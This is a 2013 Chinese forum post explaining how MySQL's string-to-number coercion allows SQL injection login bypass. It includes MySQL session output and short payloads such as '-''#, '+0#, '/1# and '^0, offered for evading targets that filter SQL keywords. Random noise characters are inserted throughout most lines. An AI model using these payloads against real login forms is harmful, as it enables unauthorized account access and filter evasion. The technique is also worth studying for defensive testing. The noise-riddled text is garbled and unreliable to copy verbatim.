找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1937|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
' f. {& w* C  q. E& Q有以下表结构: 4 \7 B0 b) t% I6 a

+ M9 n! s( f2 Y6 }' fmysql> desc admin;7 M) s2 F0 ~& L. r, z- k0 j
+----------+--------------+------+-----+---------+----------------+
3 c% u! _  z9 Z| Field    | Type         | Null | Key | Default | Extra          |
  c+ I8 W8 h, G* }- y1 o+----------+--------------+------+-----+---------+----------------+
$ C5 A, I3 W6 f& f8 d" @% D6 Z! A| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
& _; Y8 S; |4 E: B$ R' ]$ m% r| name     | char(32)     | NO   | UNI | NULL    |                |
- K5 a# u0 v" Y1 L8 P4 I' d' X| password | char(32)     | NO   | UNI | NULL    |                |$ m! x, X' q7 E' _
+----------+--------------+------+-----+---------+----------------+
' I5 ]3 b) _% ]3 H! a* E3 rows in set (0.00 sec)+ Q# C1 T1 m1 n+ [& K5 z
执行select * from admin;,成功返回所有记录内容。) l0 N/ f* p& `6 b! h$ L* Z
# c' F6 Z* r/ o. s1 X1 v4 B

. ~8 G& \4 D  s% M+----+--------+----------------------------------+) s$ {% J, z+ A* w
| id | name   | password                         |
' S6 f; d7 X9 C8 d. V* i6 r+----+--------+----------------------------------+2 u  q, ^) k# F* E* C/ W) p
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |; A# s- A2 ^! b
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |8 q' S4 v$ J; _1 d
|  4 | n00b   | ff80e8508d39047460921792273533a4 |# _) \% ]( M8 Q( n
+----+--------+----------------------------------+
3 S2 ]1 h9 M' j) E# q/ z3 rows in set (0.00 sec)
/ k" `% j8 B! x- o. M0 Y3 B执行select * from admin where name=”;,没有匹配到任何记录。
6 ^% l; y2 e% c, k6 B7 d: M0 ?  `1 y" j
' i8 H$ F7 S3 s0 d9 ~  F- Cmysql> select * from admin where name = '';
+ x( w# s  p5 Z9 W% l3 b8 _Empty set (0.00 sec)( W( l5 d) C; C
那么我们来执行select * from admin where name = ”-”;+ i7 ]/ l; A3 h* l/ \% b
$ k3 N3 C! e2 e( J' b2 j7 z- r
+ x7 |7 @$ ^3 r
+----+--------+----------------------------------+
. ?6 K0 D1 u; A0 J$ ~9 x, V. _| id | name   | password                         |
3 I/ G* h8 G8 r+----+--------+----------------------------------+
- P. F' r; J: W# ?% }|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
' I3 I$ M. V0 T' k1 _|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
. Y7 s+ v6 ?; H|  4 | n00b   | ff80e8508d39047460921792273533a4 |
* [" D. ]2 t. [! I+----+--------+----------------------------------+
+ u( y: O+ Y9 z7 J3 rows in set, 3 warnings (0.00 sec)
. W* E1 T5 y$ p可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
3 `0 |8 U, x% Q1 P% L
: r# D/ ]! _4 l3 b$ {3 b3 U* |& Dmysql> show warnings;, O6 R, j6 `9 w* p' F+ H2 B  Z5 f
+---------+------+------------------------------------------
+ F% d+ O8 F! F' J$ L; |8 m' _| Level   | Code | Message
7 c6 Z6 z% L; J9 W2 {3 @& v) K+---------+------+------------------------------------------
3 I/ D$ P2 m6 e| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
6 }2 m7 M/ k- T$ F- h; u| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
. }1 N( ^5 O# {| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
$ M3 L6 _' ^; V" [+---------+------+------------------------------------------
$ z! j" q" c( f2 C5 A3 rows in set (0.00 sec)
: U! l# F0 U. a提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 7 W1 m0 A5 [( [* I

) j3 b9 j9 E$ ]! d% U+ |mysql> select ''-'';9 v: A+ @9 M' Q' i0 e
+-------+2 a% A8 I) n3 }: h* g& J& _( v
| ''-'' |
; S7 w+ H5 F$ w% ^4 }. K7 N: ]+-------+' Q- S& _* \1 O7 J
|     0 |6 |" K8 ], \8 V2 \. Q
+-------+& h" n- \$ S( {, o3 ~; H
1 row in set (0.00 sec)
8 E6 N6 g! @6 ^返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 6 h6 _, D' {& v; N1 M* Q

' u. g  B1 V# t  @- ?mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
0 k1 h& g9 ^- r/ T- y- R! l+-----------------------------------------------------+* T: R9 v) x. F
| CAST((select name from admin limit 1,1) as DECIMAL) |! O+ W. F' `& B: a/ M  j
+-----------------------------------------------------+
8 v$ r+ _9 k, x! ]|                                                   0 |5 P9 K( I. a) I" @
+-----------------------------------------------------+3 C+ w2 q9 a8 ^
1 row in set, 1 warning (0.00 sec)( W% z& J, z8 N) K) d& e% ~- i
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
6 d* t- {" _% u+ k3 a, F' ^5 ?8 C. M. |- _3 Z0 W! A2 P
SQL注入场景: http://www.sqlzoo.net/hack/
' t. V- D0 m- ]: K. y7 M& o
  G; ]3 a+ P" s, ^, K. j) p# d5 t
# B  f- w2 B7 ]$ f4 g
7 f- v! T8 K$ ]" W& u/ q( [  k  V& i5 Y+ _' L+ `, g0 ~
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
8 M* |+ t" `! f6 h! N3 S% M  B+ o5 ^! H1 }% D" y% G: \
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 + O) A; y8 [1 W+ L. ]0 \

! H1 v& g; t0 [. p: A1 l) n; Q- ~+ y4 S5 z! r7 X) m5 A% b

3 z+ X& O9 r# e0 S! ^1 l6 A# {! ~+ t/ x  O
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 # J* N, Q3 f1 C+ W% M9 w
; P) t2 J9 r& x: _6 \" o
   ! p9 ]2 o* d$ f2 _7 ?

) o3 q; X) d, n; j2 Y除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可. j* H1 [+ D! L2 L0 M
% m* K1 N4 ?6 ^4 j. v" ?: c1 _2 f

  v! `/ |5 ?* s3 F* S* {mysql> select ''/1;
" d( m! K- T, L4 J" t0 E4 d# r: e+------+
9 m6 G" y, k9 V+ y, K8 ?! v| ''/1 |
* O! {5 m0 h/ l& R- m/ N8 U+------+) ~; g7 s2 y& _3 B5 o
|    0 |$ ?" Z/ ^8 B+ E; H2 y
+------+$ J( l% K% Q, o! H
1 row in set (0.00 sec)1 i- n$ O9 _9 w% d+ v2 x( m, [
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
: [! p! f  e2 W' c6 h; O; _8 V& G) d- X
& Z, Z' |/ k, l5 M* P利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。/ R$ R. d' ]. u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表